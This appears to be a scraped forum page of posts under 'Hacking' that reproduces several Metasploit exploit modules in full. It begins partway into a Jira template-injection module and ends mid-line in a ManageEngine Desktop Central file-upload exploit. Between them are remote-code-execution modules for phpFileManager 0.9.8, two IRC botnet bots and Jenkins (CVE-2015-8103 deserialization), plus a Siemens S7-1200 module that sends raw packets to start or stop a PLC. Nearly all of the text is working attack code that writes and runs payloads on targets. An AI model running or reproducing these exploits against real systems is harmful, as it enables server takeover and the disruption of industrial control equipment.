Exploits the target in Java platform. # # @return [void] def exploit_as_java(cookie) tmp_path = get_tmp_path(cookie) if tmp_path.blank? fail_with(Failure::Unknown, 'Unable to get the temp path.') end jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar") jar = payload.encoded_jar java_home = get_java_home_path(cookie) register_files_for_cleanup(jar_fname) if java_home.blank? fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.') else print_status("Found Java home path: #{java_home}") end print_status("Attempting to write #{jar_fname}") c = get_write_file_code(jar_fname, jar) inject_template(c, cookie) print_status("Executing #{jar_fname}") c = get_jar_exec_code(java_home, jar_fname) inject_template(c, cookie) end # Exploits the target in Windows platform. # # @return [void] def exploit_as_windows(cookie) tmp_path = get_tmp_path(cookie) if tmp_path.blank? fail_with(Failure::Unknown, 'Unable to get the temp path.') end exe = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform) exe_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe") exe_fname.gsub!(/Program Files/, 'PROGRA~1') exe_new_fname.gsub!(/Program Files/, 'PROGRA~1') register_files_for_cleanup(exe_fname, exe_new_fname) print_status("Attempting to write #{exe_fname}") c = get_write_file_code(exe_fname, exe) inject_template(c, cookie) print_status("New file will be #{exe_new_fname}") c = get_dup_file_code(exe_fname, exe_new_fname) inject_template(c, cookie) print_status("Executing #{exe_new_fname}") c = get_exec_code(exe_new_fname) inject_template(c, cookie) end # Exploits the target in Linux platform. # # @return [void] def exploit_as_linux(cookie) tmp_path = get_tmp_path(cookie) if tmp_path.blank? fail_with(Failure::Unknown, 'Unable to get the temp path.') end fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5)) new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6)) register_files_for_cleanup(fname, new_fname) print_status("Attempting to write #{fname}") p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform) c = get_write_file_code(fname, p) inject_template(c, cookie) print_status("chmod +x #{fname}") c = get_exec_code("chmod 777 #{fname}") inject_template(c, cookie) print_status("New file will be #{new_fname}") c = get_dup_file_code(fname, new_fname) inject_template(c, cookie) print_status("Executing #{new_fname}") c = get_exec_code(new_fname) inject_template(c, cookie) end def exploit if jira_cred_empty? fail_with(Failure::BadConfig, 'Jira username and password are required.') end print_status("Attempting to login as #{jira_username}:#{jira_password}") cookie = do_login print_good("Successfully logged in as #{jira_username}") target_platform = get_target_platform(cookie) print_status("Target being detected as: #{target_platform}") unless target_platform_compat?(target_platform) fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.') end case target.name when /java$/i exploit_as_java(cookie) when /windows$/i exploit_as_windows(cookie) when /linux$/i exploit_as_linux(cookie) end end def print_status(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end end
  14. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'phpFileManager 0.9.8 Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in phpFileManager 0.9.8 which is a filesystem management tool on a single file. }, 'License' => MSF_LICENSE, 'Author' => [ 'hyp3rlinx', # initial discovery 'Jay Turla' # msf ], 'References' => [ [ 'EDB', '37709' ], [ 'URL', 'http://phpfm.sourceforge.net/' ] # Official Website ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Targets' => [ ['phpFileManager / Unix', { 'Platform' => 'unix' } ], ['phpFileManager / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Aug 28 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of phpFileManager', '/phpFileManager-0.9.8/index.php']), ],self.class) end def check txt = Rex::Text.rand_text_alpha(8) res = http_send_command("echo #{txt}") if res && res.body =~ /#{txt}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def push uri = normalize_uri(target_uri.path) # To push the Enter button res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'frame' => '3', 'pass' => '' # yep this should be empty } }) if res.nil? vprint_error("#{peer} - Connection timed out") fail_with(Failure::Unknown, "Failed to trigger the Enter button") end if res && res.headers && res.code == 302 print_good("#{peer} - Logged in to the file manager") cookie = res.get_cookies cookie else fail_with(Failure::Unknown, "#{peer} - Error entering the file manager") end end def http_send_command(cmd) cookie = push res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'cookie' => cookie, 'vars_get' => { 'action' => '6', 'cmd' => cmd } }) unless res && res.code == 200 fail_with(Failure::Unknown, "Failed to execute the command.") end res end def exploit http_send_command(payload.encoded) end end
  15. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution', 'Description' => %q{ This module allows remote command execution on an IRC Bot developed by xdh. This perl bot was caught by Conor Patrick with his shellshock honeypot server and is categorized by Markus Zanke as an fBot (Fire & Forget - DDoS Bot). Matt Thayer also found this script which has a description of LinuxNet perlbot. The bot answers only based on the servername and nickname in the IRC message which is configured on the perl script thus you need to be an operator on the IRC network to spoof it and in order to exploit this bot or have at least the same ip to the config. }, 'Author' => [ #MalwareMustDie 'Jay Turla', # msf 'Conor Patrick', # initial discovery and botnet analysis for xdh 'Matt Thayer' # initial discovery for LinuxNet perlbot ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://conorpp.com/blog/a-close-look-at-an-operating-botnet/' ], [ 'URL', 'https://twitter.com/MrMookie/status/673389285676965889' ], # Matt's discovery [ 'URL', 'https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities' ] # details of what an fBot is ], 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ [ 'xdh Botnet / LinuxNet perlbot', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 04 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msfuser']), # botnet administrator name OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) ], self.class) end def check connect res = register(sock) if res =~ /463/ || res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end res = join(sock) if !res =~ /353/ && !res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end quit(sock) disconnect if res =~ /auth/ && res =~ /logged in/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while !read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" send_msg(sock,msg) end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" send_msg(sock, join_msg) end def xdh_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :.say #{encoded}\r\n" send_msg(sock, command_msg) end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") res = register(sock) if res =~ /463/ || res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") res = join(sock) if !res =~ /353/ && !res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") xdh_command(sock) quit(sock) disconnect end end
  16. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Legend Perl IRC Bot Remote Code Execution', 'Description' => %q{ This module exploits a remote command execution on the Legend Perl IRC Bot . This bot has been used as a payload in the Shellshock spam last October 2014. This particular bot has functionalities like NMAP scanning, TCP, HTTP, SQL, and UDP flooding, the ability to remove system logs, and ability to gain root, and VNC scanning. Kevin Stevens, a Senior Threat Researcher at Damballa has uploaded this script to VirusTotal with a md5 of 11a9f1589472efa719827079c3d13f76. }, 'Author' => [ 'Jay Turla' # msf and initial discovery #MalwareMustDie ], 'License' => MSF_LICENSE, 'References' => [ [ 'OSVDB', '121681' ], [ 'EDB', '36836' ], [ 'URL', 'https://www.damballa.com/perlbotnado/' ], [ 'URL', 'http://www.csoonline.com/article/2839054/vulnerabilities/report-criminals-use-shellshock-against-mail-servers-to-build-botnet.html' ] # Shellshock spam October 2014 details ], 'Platform' => %w{ unix win }, 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 300, # According to RFC 2812, the max length message is 512, including the cr-lf 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Targets' => [ [ 'Legend IRC Bot', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 27 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6667), OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']), OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']), OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']) ], self.class) end def check connect res = register(sock) if res =~ /463/ || res =~ /464/ vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return Exploit::CheckCode::Unknown end res = join(sock) if !res =~ /353/ && !res =~ /366/ vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return Exploit::CheckCode::Unknown end quit(sock) disconnect if res =~ /auth/ && res =~ /logged in/ Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while !read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue ::EOFError, ::Timeout::Error, ::Errno::ETIMEDOUT => e elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] && !datastore['IRC_PASSWORD'].empty? msg << "PASS #{datastore['IRC_PASSWORD']}\r\n" end if datastore['NICK'].length > 9 nick = rand_text_alpha(9) print_error("The nick is longer than 9 characters, using #{nick}") else nick = datastore['NICK'] end msg << "NICK #{nick}\r\n" msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n" send_msg(sock,msg) end def join(sock) join_msg = "JOIN #{datastore['CHANNEL']}\r\n" send_msg(sock, join_msg) end def legend_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['CHANNEL']} :!legend #{encoded}\r\n" send_msg(sock, command_msg) end def quit(sock) quit_msg = "QUIT :bye bye\r\n" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") res = register(sock) if res =~ /463/ || res =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...") res = join(sock) if !res =~ /353/ && !res =~ /366/ print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel") return end print_status("#{rhost}:#{rport} - Exploiting the malicious IRC bot...") legend_command(sock) quit(sock) disconnect end end
  17. Hacking

    # Exploit Title: Simatic S7 1200 CPU command module # Date: 15-12-2015 # Exploit Author: Nguyen Manh Hung # Vendor Homepage: http://www.siemens.com/ # Tested on: Siemens Simatic S7-1214C # CVE : None require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Scanner def initialize(info = {}) super(update_info(info, 'Name'=> 'Simatic S7-1200 CPU START/STOP Module', 'Description' => %q{ Update 2015 The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP. }, 'Author' => 'Nguyen Manh Hung <[email protected]>', 'License' => MSF_LICENSE, 'References' => [ [ 'nil' ], ], 'Version' => '$Revision$', 'DisclosureDate' => '11-2015' )) register_options( [ Opt::RPORT(102), OptInt.new('FUNC',[true,'func',1]), OptString.new('MODE', [true, 'Mode select: START -- start PLC STOP -- stop PLC SCAN -- PLC scanner',"SCAN"]), ], self.class) end #################################################################################### def packet() packets=[ #dua tren TIA portal thay cho hello plc "\x03\x00\x00\x23\x1e\xe0\x00\x00"+ "\x00\x06\x00\xc1\x02\x06\x00\xc2"+ "\x0f\x53\x49\x4d\x41\x54\x49\x43"+ "\x2d\x52\x4f\x4f\x54\x2d\x45\x53"+ "\xc0\x01\x0a", #session debug "\x03\x00\x00\xc0\x02\xf0\x80\x72"+ "\x01\x00\xb1\x31\x00\x00\x04\xca"+ "\x00\x00\x00\x02\x00\x00\x01\x20"+ "\x36\x00\x00\x01\x1d\x00\x04\x00"+ "\x00\x00\x00\x00\xa1\x00\x00\x00"+ "\xd3\x82\x1f\x00\x00\xa3\x81\x69"+ "\x00\x15\x16\x53\x65\x72\x76\x65"+ "\x72\x53\x65\x73\x73\x69\x6f\x6e"+ "\x5f\x43\x43\x39\x43\x33\x39\x33"+ "\x44\xa3\x82\x21\x00\x15\x0b\x31"+ "\x3a\x3a\x3a\x36\x2e\x30\x3a\x3a"+ "\x3a\x12\xa3\x82\x28\x00\x15\x0d"+ "\x4f\x4d\x53\x2b\x20\x44\x65\x62"+ "\x75\x67\x67\x65\x72\xa3\x82\x29"+ "\x00\x15\x00\xa3\x82\x2a\x00\x15"+ "\x00\xa3\x82\x2b\x00\x04\x84\x80"+ "\x80\x80\x00\xa3\x82\x2c\x00\x12"+ "\x11\xe1\xa3\x00\xa3\x82\x2d\x00"+ "\x15\x00\xa1\x00\x00\x00\xd3\x81"+ "\x7f\x00\x00\xa3\x81\x69\x00\x15"+ "\x15\x53\x75\x62\x73\x63\x72\x69"+ "\x70\x74\x69\x6f\x6e\x43\x6f\x6e"+ "\x74\x61\x69\x6e\x65\x72\xa2\xa2"+ "\x00\x00\x00\x00\x72\x01\x00\x00", ###### "\x03\x00\x00\x77\x02\xf0\x80\x72"+#p1 "\x02\x00\x68\x31\x00\x00\x05\x42"+ "\x00\x00\x00\x03\x00\x00\x03\xff"+ "\x34\x00\x00\x03\xff\x01\x01\x82"+ "\x32\x01\x00\x17\x00\x00\x01\x3a"+ "\x82\x3b\x00\x04\x81\x40\x82\x3c"+ "\x00\x04\x81\x40\x82\x3d\x00\x04"+ "\x00\x82\x3e\x00\x04\x84\x80\xc0"+ "\x40\x82\x3f\x00\x15\x00\x82\x40"+ "\x00\x15\x05\x32\x3b"+ "\x35\x34\x34\x82\x41"+ "\x00\x03\x00\x03\x00\x00\x00\x00"+#2 "\x04\xe8\x89\x69\x00\x12\x00\x00"+ "\x00\x00\x89\x6a\x00\x13\x00\x89"+ "\x6b\x00\x04\x00\x00\x00\x00\x00"+ "\x00\x72\x02\x00\x00", #unknown "\x03\x00\x00\x07\x02\xf0\x00", #bat dau qua trinh diag "\x03\x00\x00\x2b\x02\xf0\x80\x72"+ "\x02\x00\x1c\x31\x00\x00\x04\xbb"+ "\x00\x00\x00\x05\x00\x00\x03\xff"+ "\x34\x00\x00\x00\x01\x00\x00\x00"+ "\x00\x00\x00\x00\x00\x00\x00\x72"+ "\x02\x00\x00", #tiep tuc diag "\x03\x00\x00\x2b\x02\xf0\x80\x72"+ "\x02\x00\x1c\x31\x00\x00\x04\xbb"+ "\x00\x00\x00\x06\x00\x00\x03\xff"+ "\x34\x00\x00\x00\x02\x00\x01\x01"+ "\x00\x00\x00\x00\x00\x00\x00\x72"+ "\x02\x00\x00", #truoc start-stop "\x03\x00\x00\x42\x02\xf0\x80"+ "\x72\x02\x00\x33\x31\x00\x00\x04"+ "\xfc\x00\x00\x00\x07\x00\x00\x03"+ "\xff\x36\x00\x00\x00\x34\x02\x91"+ "\x3d\x9b\x1e\x00\x00\x04\xe8\x89"+ "\x69\x00\x12\x00\x00\x00\x00\x89"+ "\x6a\x00\x13\x00\x89\x6b\x00\x04"+ "\x00\x00\x00\x00\x00\x00\x00\x72"+ "\x02\x00\x00", #start "\x03\x00\x00\x43\x02\xf0\x80"+ "\x72\x02\x00\x34\x31\x00\x00\x04"+ "\xf2\x00\x00\x00\x08\x00\x00\x03"+ "\xff\x36\x00\x00\x00\x34\x01\x90"+ "\x77\x00\x08\x03\x00\x00\x04\xe8"+ "\x89\x69\x00\x12\x00\x00\x00\x00"+ "\x89\x6a\x00\x13\x00\x89\x6b\x00"+ "\x04\x00\x00\x00\x00\x00\x00\x00"+ "\x72\x02\x00\x00", #stop "\x03\x00\x00\x43\x02\xf0\x80"+ "\x72\x02\x00\x34\x31\x00\x00\x04"+ "\xf2\x00\x00\x00\x08\x00\x00\x03"+ "\xff\x36\x00\x00\x00\x34\x01\x90"+ "\x77\x00\x08\x01\x00\x00\x04\xe8"+ "\x89\x69\x00\x12\x00\x00\x00\x00"+ "\x89\x6a\x00\x13\x00\x89\x6b\x00"+ "\x04\x00\x00\x00\x00\x00\x00\x00"+ "\x72\x02\x00\x00", ] return packets end ############################################################################# def start_PLC(scr) print_good "mode select: START" sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc sock.get_once() sleep(0.05) sock.put(packet[7].gsub("\xff",[scr].pack("c")))#send hello plc #sock.get_once() dt=sock.get_once(-1, sock.def_read_timeout) if dt.length.to_i == 30 print_good "PLC---->RUN" else a= dt.to_s.gsub(/[\x80-\xff]/," ") print_error a.to_s.gsub(/[\x00-\x30]/," ") end end ############################################################################# def stop_PLC(scr) print_good "mode select: STOP" sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc sock.get_once() sleep(0.05) sock.put(packet[8].gsub("\xff",[scr].pack("c")))#send hello plc dt=sock.get_once(-1, sock.def_read_timeout) if dt.length.to_i == 30 print_good "PLC---->STOP" else a= dt.to_s.gsub(/[\x80-\xff]/," ") print_error a.to_s.gsub(/[\x00-\x30]/," ") end end ############################################################################# def PLC_SCAN(ip) sock.put(packet[0])#send hello plc sock.get_once() sleep(0.05) sock.put(packet[1])#xin 1 session debug dt=sock.get_once(-1, sock.def_read_timeout) sock.put(packet[3])#send hello plc sock.get_once() arr=dt.split(/;/) print_good "#{ip.to_s}: #{arr[2].to_s} : #{arr[3][0..3].to_s}" end ############################################################################# def run_host(ip) mode=datastore['MODE'] func=datastore['FUNC'] connect() if mode !="scan" && mode!="SCAN" sock.put(packet[0])#send hello plc sock.get_once() sleep(0.05) sock.put(packet[1])#xin 1 session debug dt=sock.get_once(-1, sock.def_read_timeout) sock.put(packet[3])#send hello plc sock.get_once() arr=dt.split(/;/) print_good "#{arr[2].to_s} : #{arr[3][0..3].to_s}" data=dt.unpack("C*") a= (data[24]).to_i b= (data[26]).to_i scr=a|128 scr1=b|128 #print_line scr.to_s if arr.length.to_i ==5 #neu lay duoc session session_i= arr[4][0..4].each_byte.map { |dt| '\x%02x' % dt.to_i }.join pac=packet[2].gsub("\xff",[scr].pack("c")) sock.put(pac.gsub("\x35\x34\x34\x82\x41", arr[4][0..4])) end sock.put(packet[3])#send uknown packet to plc sock.get_once() case mode when "START" , "start" start_PLC(scr) when "STOP" , "stop" stop_PLC(scr) else print_error("Invalid MODE") end else PLC_SCAN(ip) end disconnect() end end
  18. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability', 'Description' => %q{ This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, which allows remote arbitrary code execution. Authentication is not required to exploit this vulnerability. }, 'Author' => [ 'Christopher Frohoff', # Vulnerability discovery 'Steve Breen', # Public Exploit 'Dev Mohanty', # Metasploit module 'Louis Sato', # Metasploit 'William Vu', # Metasploit 'juan vazquez', # Metasploit 'Wei Chen' # Metasploit ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-8103'], ['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Jenkins 1.637', {} ] ], 'DisclosureDate' => 'Nov 18 2015', 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') ], self.class) end def exploit unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") end invoke_remote_method(set_payload) invoke_remote_method(class_load_payload) end # This is from the HttpClient mixin. But since this module isn't actually exploiting # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though. def target_uri begin # In case TARGETURI is empty, at least we default to '/' u = datastore['TARGETURI'] u = "/" if u.nil? or u.empty? URI(u) rescue ::URI::InvalidURIError print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" raise Msf::OptionValidateError.new(['TARGETURI']) end end def normalize_uri(*strs) new_str = strs * "/" new_str = new_str.gsub!("//", "/") while new_str.index("//") # Makes sure there's a starting slash unless new_str[0,1] == '/' new_str = '/' + new_str end new_str end def check result = Exploit::CheckCode::Safe begin if vulnerable? result = Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end result end def vulnerable? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers unless http_headers['X-Jenkins-CLI-Port'] vprint_error('The server does not have the CLI port that is needed for exploitation.') return false end if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637 @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i return true end false end # Connects to the server, creates a request, sends the request, # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 actual_timeout = datastore['HttpClientTimeout'] else actual_timeout = opts[:timeout] || timeout end begin c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) c.connect r = c.request_cgi(opts) c.send_recv(r, actual_timeout) rescue ::Errno::EPIPE, ::Timeout::Error nil end end def invoke_remote_method(serialized_java_stream) begin socket = connect(true, {'RPORT' => @jenkins_cli_port}) print_status 'Sending headers...' socket.put(read_bin_file('serialized_jenkins_header')) vprint_status(socket.recv(1024)) vprint_status(socket.recv(1024)) encoded_payload0 = read_bin_file('serialized_payload_header') encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream) encoded_payload2 = read_bin_file('serialized_payload_footer') encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}" print_status "Sending payload length: #{encoded_payload.length}" socket.put(encoded_payload) ensure disconnect(socket) end end def print_status(msg='') super("#{rhost}:#{rport} - #{msg}") end # # Serialized stream generated with: # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java # def set_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb') decoded = stream.decode(handle) handle.close inject_payload_into_stream(decoded).encode end # # Serialized stream generated with: # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java # def class_load_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb') decoded = stream.decode(handle) handle.close inject_class_loader_into_stream(decoded).encode end def inject_class_loader_into_stream(decoded) file_name_utf8 = get_array_chain(decoded) .values[2] .class_data[0] .values[1] .values[0] .values[0] .class_data[3] file_name_utf8.contents = get_random_file_name file_name_utf8.length = file_name_utf8.contents.length class_name_utf8 = get_array_chain(decoded) .values[4] .class_data[0] .values[0] class_name_utf8.contents = 'metasploit.Payload' class_name_utf8.length = class_name_utf8.contents.length decoded end def get_random_file_name @random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}" end def inject_payload_into_stream(decoded) byte_array = get_array_chain(decoded) .values[2] .class_data .last byte_array.values = payload.encoded.bytes file_name_utf8 = decoded.references[44].class_data[0] rnd_fname = get_random_file_name register_file_for_cleanup(rnd_fname) file_name_utf8.contents = rnd_fname file_name_utf8.length = file_name_utf8.contents.length decoded end def get_array_chain(decoded) object = decoded.contents[0] lazy_map = object.class_data[1].class_data[0] chained_transformer = lazy_map.class_data[0] chained_transformer.class_data[0] end def read_bin_file(bin_file_path) data = '' File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f| data = f.read end data end end
  19. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in ManageEngine Desktop Central 9. When uploading a 7z file, the FileUploadServlet class does not check the user-controlled ConnectionId parameter in the FileUploadServlet class. This allows a remote attacker to inject a null bye at the end of the value to create a malicious file with an arbitrary file type, and then place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM. Please note that by default, some ManageEngine Desktop Central versions run on port 8020, but older ones run on port 8040. Also, using this exploit will leave debugging information produced by FileUploadServlet in file rdslog0.txt. This exploit was successfully tested on version 9, build 90109 and build 91084. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'References' => [ [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/14/r7-2015-22-manageengine-desktop-central-9-fileuploadservlet-connectionid-vulnerability-cve-2015-8249' ], [ 'CVE', '2015-8249'] ], 'Platform' => 'win', 'Targets' => [ [ 'ManageEngine Desktop Central 9 on Windows', {} ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, 'DisclosureDate' => "Dec 14 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path for ManageEngine Desktop Central', '/']), Opt::RPORT(8020) ], self.class) end def jsp_drop_bin(bin_data, output_file) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| jspraw << %Q|int numbytes = data.length();\n| jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| jspraw << %Q|{\n| jspraw << %Q| char char1 = (char) data.charAt(counter);\n| jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| jspraw << %Q| comb <<= 4;\n| jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| jspraw << %Q| bytes[counter/2] = (byte)comb;\n| jspraw << %Q|}\n| jspraw << %Q|outputstream.write(bytes);\n| jspraw << %Q|outputstream.close();\n| jspraw << %Q|%>\n| jspraw end def jsp_execute_command(command) jspraw = %Q|<%@ page import="java.io.*" %>\n| jspraw << %Q|<%\n| jspraw << %Q|try {\n| jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| jspraw << %Q|} catch 